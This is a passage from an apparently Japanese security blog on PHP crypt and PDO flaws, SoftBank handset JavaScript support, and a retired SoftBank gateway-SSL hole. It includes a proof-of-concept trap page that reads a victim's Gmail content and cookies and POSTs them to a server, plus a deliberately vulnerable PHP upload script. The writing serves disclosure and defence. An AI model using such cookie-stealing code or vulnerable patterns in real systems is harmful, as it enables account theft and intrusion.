2011年8月23日火曜日

PHP5.3.7のcrypt関数に致命的な脆弱性(Bug #55439)

 PHP5.3.7のcrypt関数には致命的な脆弱性があります。最悪のケースでは、任意のパスワードでログインできてしまうという事態が発生します。該当する利用者は、至急、後述する回避策を実施することを推奨します。

概要

PHPのcrypt関数は、ソルト付きハッシュ値を簡単に求めることができます(公式リファレンス)。crypt関数のハッシュアルゴリズムとしてMD5を指定した場合、ソルトのみが出力され、ハッシュ値が空になります。これは、crypt関数の結果がソルトのみに依存し、パスワードには影響されないことを意味し、crypt関数を認証に用いている場合、任意のパスワードでログインに成功する可能性があります。

影響を受けるアプリケーション

crypt関数を用い、ハッシュアルゴリズムとしてMD5を指定しているアプリケーション。
環境にも依存しますが、デフォルトがMD5の場合もあります。筆者のテスト環境(CentOS5.6上のPHP5.1.6およびUbutu 10.04上のPHP5.3.7)では、デフォルトでMD5でした。

解説

crypt関数はパスワードと、省略可能なソルトを引数にとり、ソルトおよびハッシュ値をつなげたものを出力します。
string crypt ( string $str [, string $salt ] )
まず、脆弱性のない正常系を説明するために、一番簡単な呼び出し例を以下に示します。
var_dump(crypt('pass'));
【実行結果】
string(34) "$1$tggeeij6$gtuAR4G2wT9XKWCuLxgcc."
実行結果で、$1$はハッシュアルゴリズムがMD5であること、その次の「tggeeij6」はcrypt関数の内部で生成したソルト、「gtuAR4G2wT9XKWCuLxgcc.」はソルト付きハッシュ値です。ユーザ登録およびパスワード変更の際、上記のように呼び出したcrypt関数の結果をDBに保存します。
認証の際のパスワード照合は以下のようにします。まず、ログイン画面で指定されたユーザに対応するハッシュ値をDBから取り出し、そこから、ハッシュアルゴリズムとソルトまでの部分を切り出します。上記の例では、「$1$tggeeij6」が該当します。次に、利用者の指定したパスワードを用いて、crypt関数を呼び出します。
var_dump(crypt('pass', '$1$tggeeij6'));
【実行結果】
string(34) "$1$tggeeij6$gtuAR4G2wT9XKWCuLxgcc."
この値と、DBに保存されたハッシュ値を比較し、同一であれば認証成功です。上記例では、両者が一致しているので、認証成功になります。
一方、パスワードとして「hoge」が指示された場合を以下に示します。
var_dump(crypt('hoge', '$1$tggeeij6'));
【実行結果】
string(34) "$1$tggeeij6$kCvgMXx7rTKbrciqtQYDs1"
今度は、DBに保存されたものと違う結果になりましたので、認証は失敗と言うことになります。

次に、PHP5.3.7での結果を以下に示します。まず、パスワードのみを指定した場合です。
var_dump(crypt('pass'));
【実行結果】
string(11) "$1$BOF.kMcm"
ご覧のように、ソルトまでの部分しか返っておらず、肝心のハッシュ値がありません。この値をDBに保存したと仮定して、次にユーザが認証時にパスワード「hoge」を指定した場合を以下に示します。
var_dump(crypt('hoge', '$1$BOF.kMcm'));
【実行結果】
string(11) "$1$BOF.kMcm"
パスワードの違いは反映されず、DB上のハッシュ値(実はハッシュは空)とcrypt関数の結果は一致します。認証プログラムの実装にもよりますが、最悪のケースでは「任意のパスワードで認証可能」という状況になります。
データベース上のハッシュ値がPHP5.3.6以前の環境で生成された場合、利用者が正しいパスワードを指定してもログインできないという状況になります。こちらは実装に依存しません。

対策

現在この問題を改修したPHP5.3.8を準備中とのことですが、当面のあいだPHP5.3.6にロールバックすることを推奨します。PHP5.3.8が出た後でも、試験環境などでテストを十分に実施するか、しばらく安定度を確認してからPHP5.3.8に移行することを推奨します。
PHP5.3.6にロールバックするまでの間、あるいはPHP5.3.6にロールバックできない場合、上記に該当するWebアプリケーションは、問題が改修されるまでサービスを停止するべきです。

また、認証用のデータベースを確認して、ハッシュ値が空である利用者がいれば、パスワードのリセットが必要となります。

まとめ

PHP5.3.7のcrypt関数の脆弱性について報告しました。ハッシュアルゴリズムとしてMD5を指定している場合、影響は甚大ですので、サービスを即時停止した上で、PHP5.3.6にロールバックすることを推奨します。

追記

この問題の原因について「PHP5.3.7のcrypt関数のバグはこうして生まれた」にまとめましたのでお読み下さい。

2011年8月22日月曜日

PDOにおける一応の安全宣言と残る問題点

 8月18日にPHP5.3.7がリリースされました。このリリースにより、PDOのSQLインジェクションの問題が一応解決されたと判断しましたので、ここに「一応の安全宣言」を表明するとともに、残る問題について報告します。

PDOの問題とは何か

 以前、ぼくがPDOを採用しなかったわけ(Shift_JISによるSQLインジェクション)にて報告したように、PHP5.3.5以前のPDOにはDB接続時に文字エンコーディングを指定する機能がないため、文字列リテラルのエスケープの際に文字エンコーディングをLatin1を仮定してしまうという問題がありました。この状態ですと、DBにShift_JISで接続している際に、SQLインジェクション脆弱性が混入しました。

※ 実は、先のエントリの「追記(2010/07/01 22:20)」に紹介した方法で文字エンコーディングを指定できるのですが、ほとんど知られていないのと、Windowsでは使えないという問題がありました。

 このSQLインジェクションは、プレースホルダを用いてSQL呼び出ししている場合にも起きえます。以下の条件がすべて満たされる場合です。

  • MySQLを用いている
  • 接続時に文字エンコーディングを指定していない
  • MySQLとの接続の際の文字エンコーディングとしてShift_JISを使っている
  • 動的プレースホルダ(MySQLのデフォルト)

 こんなサイトがあるのかと思われる方もおられるでしょうが、私は意外にあると予想しています。この種のサイトをソースコード診断で見つけたこともありますし、去年のPHPカンファレンスの講師飲み会で「MySQLにShift_JISで接続しているサイトありますかね」と周囲の方に聞いてみたところ、ケータイサイトはShift_JISだし、文字コード変換したくない人はShift_JISで接続している場合もあるのではないかという答えでした。

PHP5.3.6での改善

 この状況がPHP5.3.6(3月17日リリース)で改善されます。PDOにて、DB接続時に文字エンコーディングが指定できるようになったのです。しかし、さっそく検証した結果、以下の状態で完全にはSQLインジェクションが解消されてはいませんでした。
  • Linux版ではOK
  • Windows版ではShift_JIS時のエスケープが不完全

 このときの内容は、エントリ「PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合(脆弱性)あり」にまとめました。
 Windows版での不具合原因は、千葉征弘さん(@nihen)さんが調査した結果、単純なバグだと分かりました。その内容は、PDO/MySQL(Windows版)の文字エンコーディング指定の不具合原因にまとめました。

PHP5.3.7での改善

 千葉さんがレポートを書いてくださった結果、Windows版での不具合は、PHP5.3.7にて修正されました。

今後の推奨する書き方

 今後は、PDOを使う場合は以下のようにするとよいでしょう。
<?php
  $dbh = new PDO('mysql:host=DBHOST;dbname=test;charset=utf8', USERNAME, PASSWORD);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 静的プレースホルダを指定

  $sth = $dbh->prepare("select * from test WHERE a=? and c=?");
  $sth->setFetchMode(PDO::FETCH_NUM);
  $a = 'abc';
  $c = 1;
  $sth->bindParam(1, $a, PDO::PARAM_STR);
  $sth->bindParam(2, $c, PDO::PARAM_INT);
  $sth->execute();
  while ($data = $sth->fetch()) {
    var_dump($data);
  }

 new PDOの行で、文字エンコーディングをchrset=utf8と指定しています。PHP5.3.7以降、Shift_JISを用いてもSQLインジェクションは起きなくなりましたが、utf8を指定するのが色々な意味で安全です。
 次の行では、静的プレースホルダを指定しています。静的プレースホルダを使えば、SQLに指定するパラメータ操作によるSQLインジェクション攻撃は原理的にできなくなりますので、安全性が高まります。
 プレースホルダの値指定(バインド)は、execute関数で配列に指定する方法もありますが、上記のようにbindParam(あるいはbindValue)を用い、型を指定するほうがよいでしょう。型を指定しないと文字列型が仮定されますが、SQLの暗黙の型変換はワナがいっぱいで指摘したような問題が起きるため、型は明示すべきです。

 型を明示する場合としない場合の違いを、動的プレースホルダの場合に生成されるSQLを例示して説明します。まず、型を明示しない場合の呼び出し例をしめします。列aは文字列、列cは整数型とします。
$sth = $dbh->prepare("select * from test WHERE a=? and c=?");
$sth->execute(array('abc', 1));
 この場合のSQL呼び出しをパケットキャプチャを用いて示します。

 ご覧のように、列cに対して、c='1'と文字列リテラルを用いて条件式が展開されています。次に、型を明示した場合です。
$sth = $dbh->prepare("select * from test WHERE a=? and c=?");
$sth->bindValue(1, 'abc', PDO::PARAM_STR);
$sth->bindValue(2, 1, PDO::PARAM_INT);
$sth->execute();
 この場合のSQLは以下のようになります。

 このように、型を明示すると、整数型のパラメータは数値リテラルとして展開されますが、型を明示しないと、文字列リテラル'1'として展開されます。

quoteメソッドの問題

 PDOにはquoteメソッドというものがあり、様々な型のリテラルのエスケープとクオートを自動的に行います。便利なメソッドですが問題が二つありました。

  • quoteメソッドでも文字エンコーディングを考慮しておらず、Shift_JISを用いている場合にSQLインジェクション脆弱性が混入する(PHP5.3.6以前)
  • 数値の場合の処理がおかしい(脆弱性ではない。参照→quoteメソッドの数値データ対応を検証する

 これらのうち、文字エンコーディングの考慮についてはPHP5.3.7で修正されました。
 数値の場合の問題は依然として直っておらず、文字列として処理されます。静的プレースホルダを用いる場合はquoteメソッドを使う必要はありませんが、既存システムの脆弱性対策等でやむを得ずプレースホルダを使用できない場合は、数値に関してはキャストするか、バリデーションで対応することになります。

まとめ

 最近のPDOの安全性向上と残る課題について報告しました。
 PDOを使う際の安全上のポイントは以下の通りです。

  • 接続時に文字エンコーディング(UTF-8を推奨)を必ず指定する
  • 静的プレースホルダを用いてSQLを呼び出す
  • バインドの際に型を明示する

 残る課題としては、quoteメソッドの数値型の処理が依然としておかしいことです。quoteメソッドは数値に対して用いないことで対処することになりますが、プレースホルダを使えば、そもそもquoteメソッドの出番はないので、プレースホルダの使用を強く推奨します。

2011年7月5日火曜日

ソフトバンクの非公式JavaScript対応の調査結果

 ソフトバンクのYahoo!ケータイブラウザは、2010年春モデルまで非公式のJavaScript対応機種がありました。2010年5月に、私的にその対応状況を調査した結果を公表します。
 これは、「Yahoo!ケータイの一部端末に「かんたんログイン」なりすましを許す問題」を公表するにあたり、影響のある端末を調べるために、端末実機の検証センターにて抜き取り検査した結果です。

考察
  • JavaScriptが最初に搭載されたのは、2004冬の702NKらしい。以降、ノキア端末にはJavaScriptが搭載される。この時期のJavaScriptは簡易的なもの。
  • 2006年冬モデルから多くのモデルでJavaScriptが搭載される。この時期の端末は、DOMは対応しているが、XMLHttpRequestは対応していない。
  • 2008年春モデルから一部の機種でXMLHttpRequestをサポートする。
  • シャープ製端末は、一貫してXMLHttpRequestをサポートするが、デフォルトではOFFになっている。
  • 一部の機種でXMLHttpRequestデフォルトONになっている
  • 現在流通しているソフトバンクのフィーチャーフォンは、公式・非公式はともかく、大半の機種がJavaScriptに対応ていると考えられる

凡例
  • IFRAME:iframe要素に対応している
  • JS:JavaScriptに対応している
  • DOM:DOMに対応している
  • Ajax:XMLHttpRequestオブジェクトをサポートしている

発売時期 機種名 IFRAME JS DOM Ajax
2004冬 702MO × × × ×
2004冬 702NK × × ×
2004冬 702sMO × × × ×
2005冬 702NKII × × ×
2005冬 703SHf × × × ×
2006春 804N × × × ×
2006春 804SS × ×
2006春 904T × × × ×
2006夏 804NK × × ×
2006夏 905SH × × ×
2006冬 705NK/Nokia N73 × × ×
2006冬 705SC706SC × ×
2006冬 709SC × ×
2006冬 910SH ×
2006冬 910T ×
2007春 706P × × × ×
2007春 707SCII × ×
2007春 813SH ×
2007春 813T ×
2007春 911T ×
2007夏 805SC ×
2007夏 810P ×
2007夏 912T ×
2007夏 913SH ×
2007冬 821P ×
2007冬 822SH ×
2007冬 920SH ×
2007冬 920T ×
2008春 815T PB ×
2008春 820SC ×
2008春 920P ×
2008春 921T ×
2008春 922SH
2008夏 820N ○(デフォルトON)
2008夏 821N (GLA) ○(デフォルトON)
2008夏 823T ×
2008夏 923SH
2008冬 830CA ○(デフォルトON)
2008冬 830P ×
2008冬 920SC ×
2008冬 930SC ×
2008冬 930SH
2009春 731SC ×
2009春 830N ×
2009春 930CA ×
2009春 930P ×
2009春 932SH
2009夏 831N ○(デフォルトON)
2009夏 831SHs
2009夏 832P ×
2009夏 832T × × ×
2009夏 931N ×
2009夏 931P ×
2009夏 931SC ×
2009夏 933SH
2009冬 940SC ○(デフォルトON)
2010春 840SH
2010春 841P ×
2010春 841SHs Gent × × ×
2010春 940N ×
2010春 940P ×
2010春 941P ×
2010春 943SH

 なお、短時間での私的な調査なので、内容の正確性については保証しません。全体的な傾向をつかむために参照いただければと思います。間違いなどについてはご指摘頂けるとありがたいです。

2011年7月1日金曜日

ソフトバンクのゲートウェイ型SSLの脆弱性を振り返る

 2011年6月30日午前3時をもってソフトバンクモバイルの提供していたゲートウェイ型SSLが廃止され、End-to-EndのSSLのみになりました。廃止された方のゲートウェイ型SSLには致命的な脆弱性がありましたが、現在では使えなくなり悪用の心配もなくなりましたので、これまでどのような問題があったかを説明します。

ソフトバンクのゲートウェイ型SSLとは

 従来、ソフトバンクの携帯電話(フィーチャーフォン)では、2種類のSSLが提供されていました。通常の端末とWebサーバー間のSSL(End-to-EndのSSL)と、ゲートウェイ(secure.softbank.ne.jp)が割り込むタイプのSSLです。後者については、ソフトバンク社技術情報として仕様(削除済み)魚拓)が公開されています。

 ソフトバンク3G携帯電話では、「端末⇔弊社GW(以降、GW)」および「GW⇔Webサーバ」の通信区間でそれぞれSSL/TLSのセッションを確立し、GWは「端末⇔Webサーバ」間のSSL/TLSセッションの中継を行います。GWでは、Webサーバのレスポンスに含まれる、XHTMLドキュメント等に記載されたWebサーバへのhttpsリンクを、GWへのリンクに変換します。端末から見た場合、リクエストはGWへのSSLセッションとなります。

Ex:https://www.foo.com/bar.html というURIはGWにて
https://secure.softbank.ne.jp/www.foo.com/bar.html と変換されます。
WEB & NETWORK SSL/TLSより引用

 わざわざSSLの場合にもゲートウェイを割り込ませている目的としては、ケータイID(UID)を付与することと、絵文字の変換があるようです。

※注意:EZwebにもゲートウェイ型のSSLがあります(仕様)がProxyサーバーのホスト名が見えているわけではないので、今回報告するような問題はありません。

ゲートウェイ型SSLの問題点

 ゲートウェイ型SSLが廃止されるきっかけは、高木浩光氏と、ソフトバンクモバイル取締役専務執行役員CTOの宮川潤一氏のtwitter上のやりとりであると言われています。この内容は、Togetterにまとめられています。これを読むと、ゲートウェイ方式のSSLでは、httpとhttpsでドメインが異なるため、Cookieを引き継ぐことができないことが問題として説明されています。現場のニーズとしてこの問題は大きいと思うのですが、実はもっと切実なセキュリティ上の問題がありました。
 そのヒントは、高木浩光氏のブログ記事「共用SSLサーバの危険性が理解されていない」にあります。このエントリでは、さくらインターネットの共有SSLを題材として、ドメインを共有するサイトが、たとえCookieのPath属性を指定しても、セッションハイジャックができることが指摘されています。具体例として、以下の2つのサイトをまたがって(秘密であるはずの)コンテンツやCookieが取得できることを指摘しています。

  • https://secure101.sakura.ne.jp/hoge.net/
  • https://secure101.sakura.ne.jp/example.com/

 ここでsecure101.sakura.ne.jpは、さくらインターネットの共用サーバのホスト名です。これらディレクトリをまたがったアクセスが可能である理由は、JavaScriptの同一生成元ポリシーがホストを基準としていて、ディレクトリは考慮していないからです。同一生成元ポリシーの詳細は、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方(以下、徳丸本)」を参照ください。
 ここで、secure101.sakura.ne.jpをsecure.softbank.ne.jpに置き換えたらどうでしょうか。

  • https://secure.softbank.ne.jp/hoge.net/
  • https://secure.softbank.ne.jp/example.com/

 ご覧のように、ソフトバンクのゲートウェイ型SSLの書式になります。前者は共用サーバー、後者はProxyという違いはありますが、端末から見ると区別はありません。従って、高木氏が「共用SSLサーバの危険性」として指摘された問題は、そのままソフトバンクのゲートウェイ型SSLにもあります。具体的には、ソフトバンク端末の利用者に罠のページを閲覧させることにより、その利用者の秘密情報を盗み出すことが可能となります。
 以下、Gmailの携帯電話向けページを用いて検証した画面例を使って説明します(Gmailの脆弱性ではないので、念のため)。

検証用スクリプトの説明

 検証にあたり、下図のようなページを作成しました。



 以下に検証用スクリプトを示します。まず、画面上側のiframeと、三つ並んだボタンの部分。

<body>
<iframe width=400 height=300 src="../../mail.google.com/mail/" name="foo"></iframe><BR>
<iframe width=400 height=100 src="../s.html" name="bar"></iframe><BR>
<input type=button value="gmail" onclick="getdiv(1);">
<input type=button value="cookie" onclick="getcookie();">
<input type=button value="hash" onclick="getdiv(2);">

 最初のiframeはgmailを参照しています。絶対URLは、http://secure.softbank.ne.jp/mail.google.com/mail/です。2番目のiframeは、罠ページの親ディレクトリにあるページを指しています。これは、後述する検証のためです。
 ボタンは左から、Gmailの中味を取得、GmailのCookie取得、親ディレクトリのページの中味を取得、です。
 続いて、検証用のスクリプトです。変数nは、例外が発生した場所を表示するためのものです。

<script>
function getdiv(x) { // iframeの中味を取得してtextareaに流し込み
  var n = 0; document.getElementById('out').innerHTML = ''; // エラー表示をクリア
  try {
    n = 1;
    if (x == 1) {
      var doc = foo.document;  // gmailのdocument
    } else {
      var doc = bar.document;  // 親ディレクトリページのdocument
    }
    n = 2; var body = doc.body;
    n = 3; var text = body.innerHTML;
    n = 4; document.getElementById("ta").value = text;
  } catch(e) {
    document.getElementById('out').innerHTML = n + ':' + e.message;
  }
}

function getcookie() { // Cookie値を取得してtextareaに流し込み
  var n = 0; document.getElementById('out').innerHTML = ''; // エラー表示をクリア
  try {
    n = 1; var doc = foo.document;
    n = 2; var cookie = doc.cookie;
    n = 4; document.getElementById("ta").value = cookie;
  } catch(e) {
    document.getElementById('out').innerHTML = n + ':' + e.message;
  }
}
</script>

 関数getdivは、iframe内のbodyのinnerHTMLを取得して、そのままtextareaに流し込むものです。x=1の場合はGmail、x=2の場合は親ディレクトリのページを取得します。例外が発生した場合は行番号nとエラーの内容を表示します。
 続いて、表示領域など残りのスクリプトです。

<form action="/cgi-bin/xxxxxx非公開xxxx.cgi" method="POST">
<textarea id=ta name=data1></textarea>
<input type=submit>
</form>
<div id="out"></div>
</body>

 formはtextareaをPOSTするだけです。攻撃が成功すれば、罠に引っかかった利用者のgmailのコンテンツを取得できることになります。実際の攻撃では、ボタンを利用者に押してもらうのはイマイチなので、JavaScriptで処理することになりますが、今回は検証用なのでボタンは手で押しています。

 罠ページと2つのiframeのURLは以下の通りです。SSLの正規の証明書がないと検証できないので、弊社のホームページ(www.hash-c.co.jp)上に置いています。罠ページのディレクトリは非公開とします。

罠ページhttps://secure.softbank.ne.jp/www.hash-c.co.jp/xxx非公開xxx/p.html
Gmailhttps://secure.softbank.ne.jp/mail.google.com/mail/
親ディレクトリhttps://secure.softbank.ne.jp/www.hash-c.co.jp/s.html

Gmailの内容取得に成功

 上記罠ページを932SH(ソフトバンク2009年春モデル、非公式JavaScript対応機種)で閲覧した様子を以下に示します。932SHはデフォルト設定、Gmailには元々ログイン済みの状態です。



 画面の上方に、「受信トレイ」とか「7月1日決行です」などと表示されている部分がGmailの画面です。iframeに秘密情報が表示されること自体は問題ありません。続いて、[gmail]ボタンを押します。



 画面の下方に、「<div><img src=...」と表示されているのがGmailのHTMLソースです。表示窓が小さくてよく分からないので、拡大図を以下に示します。



 これが取得できるのは問題です。ドメインを超えたコンテンツをJavaScriptでアクセスできた訳ですから、同一生成元ポリシー(Same Origin Policy)が破れた状態です…といっても、先の表に示したように、ドメインはいずれもsecure.softbank.ne.jpですから、元々同一生成元であるわけです。このため、この問題はブラウザの脆弱性ではなくて、このようなURLで運用していることの問題と言えます。
 次に、[cookie]ボタンを押すと、GmailのCookieが取得できます。



 GX=xxxというのがそれです。実際には、複数のCookieが使われていますが詳しい表示は省略します。
 このように、ソフトバンクのゲートウェイ型SSLを使用すると、同一生成元ポリシーによる保護が働かないため、異なるドメインのコンテンツやCookieをJavaScriptで参照できることが問題です。
 次に、親ディレクトリについても表示できます。これは問題ない動作ですが、iモードブラウザ2.0のJavaScriptではiframe内のコンテンツを読み出せないで紹介したように、NTTドコモの携帯電話では禁止されている動作です。



公式JavaScript対応モデルでは保護が働く

 次に、944SH(2010年6月18日発売)での動作を紹介します。944SHは、ソフトバンクとして公式にJavaScriptに対応した最初のモデルです。
 以下に、[gmail]ボタンと[cookie]ボタンを押した様子を並べて示します。

[gmail]ボタンを押したところ [cookie]ボタンを押したところ

 いずれも「2:operation is inhibited」という表示になります。最初、NTTドコモと同じように親ディレクトリの読み出しを禁止したのかと思いましたが、そうではありませんでした。親ディレクトリに配置したコンテンツは以下のように読み出せます。



 これらの事実から推測されることは、ソフトバンクの公式JavaScriptでは、secure.softbank.ne.jp経由のコンテンツを特別扱いしているということです。secure.softbank.ne.jp直下のディレクトリ名をドメイン名として扱って、同一生成元ポリシーを実装しているのかもしれません。

この問題の影響を受ける(受けたはずの)アプリケーション

 今回の検証にはGmailを用いましたが、もちろんGmailだけが影響を受けるわけではありません。以下の性質を持つアプリケーションがこの問題の影響を受けると考えられます。
 まず、以下のアプリケーションは認証状態に関係なく影響があります。

  • ケータイIDのみで認証をしているアプリケーション

 つまり、いわゆる「かんたんログイン」をしているアプリケーション全部です。ただし、キャリア公式の認証方式については議論の対象外とします。キャリア公式の認証方式は技術情報が公開されていないからです。
 次に、以下のコンテンツは、アプリケーションに認証した状態で罠のサイトを閲覧下場合に影響を受けます。

  • Cookieによりセッション維持しているアプリケーション(Gmailはこのタイプ)
  • ケータイIDによりセッション維持しているアプリケーション

 影響を受けないアプリケーションの典型的なパターンを以下に示します。

  • パスワード認証後URLにセッションIDを保持しているアプリケーション

 以上は、あくまで当該問題の影響を受ける・受けないの話であって、URLによるセッションID保持を推奨しているわけではありません。他の問題もあわせて総合的に考えれば、Gmailのようにパスワード認証とCookieによるセッション維持が安全です。

この問題の影響を受ける(受けたはずの)端末

 この問題の影響を受ける端末は、ソフトバンクの非公式JavaScript対応端末全てが該当し得ると考えられます。これについては、後でまた触れます。2010年夏モデルが出る前の時点(すなわち昨年の今頃)では、ほとんどの端末が該当していたと思われます。

この脆弱性による影響

 罠サイトを経由してクロスドメインでJavaScriptによるアクセスができます。典型的な影響は、正規利用者に成りすましての情報漏洩やアプリケーション機能の悪用です。
 もっと端的な表現はこうです。secure.softbank.ne.jpが動作していると、SSLを利用可能な全てのアプリケーションにクロスサイト・スクリプティング(XSS)脆弱性があるのと同等の影響があったと言えます。

時系列の整理

 ここで、ケータイJavaScriptにまつわる出来事を時系列にまとめてみます。

2009年6月iモードブラウザ2.0の登場、すぐに無効化される 参考ブログ
2009年8月ケータイJavaScriptによりケータイIDが変更される可能性の指摘 参考ブログ
2009年11月iモードブラウザ2.0のJavaScript再開 参考ブログ
2009年11月24日iモードIDを用いた「かんたんログイン」のDNS Rebinding脆弱性 リリース文書
2009年11月上記問題がソフトバンク端末にもあることをソフトバンク社に通知
2010年5月1日高木浩光氏の日記 共用SSLサーバの危険性が理解されていないが公開される
2010年5月22日WASF2010にてソフトバンク端末のDNS Rebinding問題を公表 参考ブログ プレゼン資料 リリース(5月24日)
2010年5月27日ソフトバンクからJavaScript機能を利用者が無効にするようアナウンス リリース 紹介記事
2010年6月15日ソフトバンクCTO宮川氏と高木浩光氏のtwitter上での会談によりゲートウェイ型SSLの廃止が決定 togetterによるまとめ
2010年6月18日ソフトバンク初の公式JavaScript対応端末944SHが発売。既にゲートウェイ型SSLの問題に対応済みだった(最初の確認日は2010年8月11日)
2010年10月15日ソフトバンクから、2011年2月1日にゲートウェイ型SSLを廃止するとアナウンス(後に6月30日に延期) リリース
2011年6月30日早朝3時にゲートウェイ型SSLが停止される(イマココ)

ソフトバンク社はかなり前からゲートウェイ型SSLの問題を把握していた

 私を含めて多くの方が、twitter上での宮川CTOと高木浩光氏の会話を契機として2010年6月15日にゲートウェイ型SSLが廃止されたと思い込んだわけですが、現実には、ソフトバンク社はそれよりかなり前からこの問題を把握していたと思われます。その根拠は、2010年6月18日発売の944SHの出荷時点でこの問題に対応していたからです。私自身が最初に検証したのは2010年8月11日ですが、発売からそれまでの間に944SHに関するアップデートはありません 【参考】アップデート情報
 宮川CTOと高木浩光氏の会談のあった6月15日の時点では、既に944SHは配送中か店舗の在庫になっていたでしょうし、端末の開発・製造・テストなどに要する時間を考えると、少なくとも2010年3月頃には、ソフトバンク社はこの問題を承知していたと思われます。
 この前提に立って考えると、2010年5月27日にソフトバンク社が端末利用者にJavaScriptを無効化するようにアナウンスしたことの意味も違って見えます。この当時、多くの人がDNSリバインディング問題の解決のためにJavaScriptを無効化するようにアナウンスしたと考えたのですが、それだけではなかったようです。
 その根拠は、ソフトバンクが全てのJavaScript対応機種にてJavaScriptを無効するようアナウンスしたことです。DNSリバインディングに対応するだけであれば、リリースに記載のレベル2とレベル3だけJavaScriptを無効化すればよいはずですが、実際にはレベル1まで含めて無効化を呼びかけています。憶測になりますが、ゲートウェイ型SSLの問題も含めて対処するためではないかと考えられます。

NTTドコモとソフトバンクの同一生成元ポリシーの違い

 NTTドコモのiモードブラウザ2.0とソフトバンク端末のブラウザはともにJavaScriptをサポートしています。どちらも中味はACCESS社のNetFrontだと思うのですが、同一生成元ポリシーの挙動が少し異なります。通常同一生成元ポリシーは、ホストとポートとスキーム(プロトコル)が同一であることを要求するものですが、ケータイブラウザの場合、ディレクトリの制約がつく場合があります。
 NTTドコモの場合は、先にも触れたように、親ディレクトリに遡ったアクセスができません。こうしている理由は不明ですし、ドキュメントにも明記されていないようです。
 一方、ソフトバンクの場合は親ディレクトリに対するアクセスは可能ですが、公式JavaScript対応機の場合は、ホストがsecure.softbank.ne.jpの場合に限り、第一階層のディレクトリを仮想的にホストと見なしているようです。
 これらの挙動は、iframe要素を使った場合だけでなく、XMLHttpRequestを使った場合も同じです。上記の攻撃(検証)も、iframeの代わりにXMLHttpRequestを使っても書けますが、XMLHttpRequestに対応していない端末があることや、シャープ製端末のようにデフォルトではXMLHttpRequestが使えない端末が多いので、iframeを検証に用いました。
 以上の内容を表にまとめました。

キャリアNTTドコモ
ソフトバンク
端末種別iモードブラウザ2.0非公式JavaScript対応機公式JavaScript対応機
親ディレクトリの参照アクセスできないアクセスできるアクセスできる
secure.softbank.ne.jpの場合制限無し第1階層のディレクトリをホストと見なす

考察とまとめ

 6月30日で廃止されたソフトバンクのゲートウェイ型SSLの問題について説明しました。この問題の悪用事例は報告されていないようですが、単に気づいてないだけ、あるいは気づいていても何らかの理由で公表されていない可能性もあります。
 この事例から言えることは、(ガラパゴスと表現されることもある)日本の携帯Web独自の仕様というのものが非常にきわどく、もろいものだということです。Webの基本的な仕組みは、ブラウザやアプリケーションに脆弱性がなければ安全になるように仕様が決められていますが、その仕様を少しでも変更すると、上記のような超弩級の脆弱性が入り込む可能性があるという事例であると言えます(マクロの視点)。
 また、この脆弱性はブラウザにJavaScript機能がなければ顕在化しなかったと考えられますが、実際には、ソフトバンクの2006年頃以降の端末で、JavaScriptが *非公式に* 実装され、脆弱性が顕在化しています(*1)。非常に微妙な均衡の元に安全性が保たれていたYahoo!ケータイの世界に、安全性を考慮しないままJavaScrpit対応の端末を持ち込んでしまったことの問題でもあります(ミクロの視点)。
 また、携帯Webの仕様がオープンにならないことも問題です。私は前述のJavaScript等の仕様を調べるために、公開されている仕様書だけでは十分でないために、実機での試行錯誤が必要でした。携帯Webの安全性確保のため、開発者やセキュリティ研究者に向けた十分な情報開示を希望します。

参考:高木浩光@自宅の日記 - SoftBankガラケーの致命的な脆弱性がようやく解消

*1 http://www.hash-c.co.jp/archive/wasf2010.html参照

2011年6月29日水曜日

徳丸浩の日記をこちらに移転します

自力でのtdiary運用も面倒になってきたので、独自ドメインで運用できるbloggerに日記を移転しようと思っています。まずは新規の日記から試験的に運用してみます。

2011年6月20日月曜日

PHPにおけるファイルアップロードの脆弱性CVE-2011-2202

 PHPの現行バーション(PHP5.3.6以前)には、ファイルアップロード時のファイル名がルート直下の場合、先頭のスラッシュを除去しないでファイル名が渡される問題があります。CVE-2011-2202として報告されています。
 後述するように影響を受けるアプリケーションは少ないと思われますが、念のためアプリケーションの確認を推奨します。また、次バージョンPHP5.3.7のRC1で修正されていることを確認しましたので、PHP5.3.7正式版が公開され次第、できるだけ早期に導入することを推奨します。

※このエントリは、はてなダイアリーの過去のエントリからの転載です。

概要

 PHPにはファイルアップロードの機能が提供されています。アップロード時のリクエストに付与される元ファイル名は、PHPスクリプトでは、$_FILES[]['name']で受け取れますが、この際にはファイルのディレクトリ名やドライブレター(C:のような)は除去され、ファイル名と拡張子だけがアプリケーションに渡される仕様です。
 しかし、「/upload.png」のようにルート直下のファイル名を指定した場合は、先頭のスラッシュ「/」は除去されず、フルパスでファイル名が渡されます。これがCVE-2011-2202脆弱性です。

確認

 「体系的に学ぶ 安全なWebアプリケーションの作り方(以下、徳丸本)」の「4.12ファイルアップロード」にまつわる問題に出てくるサンプルスクリプト4c-001.phpと4c-002.phpを用いて、この問題を検証してみましょう。以下は4c-002.phpのソースです。このスクリプトには脆弱性があります。
<?php
$tmpfile = $_FILES["imgfile"]["tmp_name"];
$tofile = $_FILES["imgfile"]["name"];

if (! is_uploaded_file($tmpfile)) {
  die('ファイルがアップロードされていません');
// 画像を img ディレクトリに移動
} else  if (! move_uploaded_file($tmpfile, 'img/' . $tofile)) {
  die('ファイルをアップロードできません');
}
$imgurl = 'img/' . urlencode($tofile);
?>
<body>
<a href="<?php echo htmlspecialchars($imgurl); ?>"><?php
 echo htmlspecialchars($tofile, ENT_NOQUOTES, 'UTF-8'); ?></a>
をアップロードしました<BR>
<img src="<?php echo htmlspecialchars($imgurl); ?>">
</body>
 このスクリプトを用いてupload.pngというファイルをアップロードします。元ファイルがC:\HOME\PHP\upload.pngというファイル名だった場合、以下のようにファイルアップロードのリクエストには、filename=C:\HOME\PHP\upload.pngという形で添付されています。しかし、PHPスクリプトには、upload.pngというファイル名のみが渡されます。
次に、Fiddlerなどを使って、以下のようにファイル名をfilename=/upload.pngと改変してみます。

 この際には、アプリケーションには先頭のスラッシュを保ったままで渡されます。以下の画面上に表示されたファイル名を確認してください。


 ファイル名が/home/upload.pngや../upload.pngの場合は、ディレクトリ部分は削除されます。

この脆弱性の影響

 $_FILES[]['name']が絶対パス名を返した場合、このファイル名の使い方次第では問題になる可能性があります。
 影響がでるPHPスクリプトは以下の条件の両方を満たすものであると考えられます。
  • $_FILES[]['name']をそのまま使ってmove_uploaded_fileによりファイルを移動している
